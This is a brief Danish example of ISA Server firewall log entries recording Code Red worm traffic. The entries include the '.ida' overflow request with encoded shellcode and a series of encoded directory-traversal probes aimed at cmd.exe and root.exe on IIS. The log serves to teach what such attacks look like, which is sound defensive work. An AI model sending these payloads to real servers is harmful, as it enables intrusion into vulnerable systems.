Her vist et eksempel på en log fil fra en ISA Server der viser Code red worm:

[IP ADRESSE] anonymous - 2001-11-14 20:08:28 FW - www.worm.com - - 2828 4039 - - GET http://www.worm.com/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858% ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:42 FW - www - - 94 72 - - GET http://www/scripts/root.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:43 FW - www - - - 70 - - GET http://www/MSADC/root.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:43 FW - www - - - 80 - - GET http://www/c/winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:43 FW - www - - - 80 - - GET http://www/d/winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:43 FW - www - - - 96 - - GET http://www/scripts/..%255c../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:44 FW - www - - - 117 - - GET http://www/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:44 FW - www - - 15 117 - - GET http://www/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:44 FW - www - - - 145 - - GET http://www/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:44 FW - www - - - 97 - - GET http://www/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:45 FW - www - - - 97 - - GET http://www/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:45 FW - www - - - 97 - - GET http://www/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:45 FW - www - - 16 97 - - GET http://www/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:46 FW - www - - 16 98 - - GET http://www/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir - 12005

[IP ADRESSE] anonymous - 2001-11-14 21:47:46 FW - www - - - 96 - - GET http://www/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir - 12005

[IP ADRESSE] anonymous - 2001-11-14 21:47:46 FW - www - - - 100 - - GET http://www/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir - 12202

[IP ADRESSE] anonymous - 2001-11-14 21:47:46 FW - www - - - 96 - - GET http://www/scripts/..%252f../winnt/system32/cmd.exe?/c+dir - 12202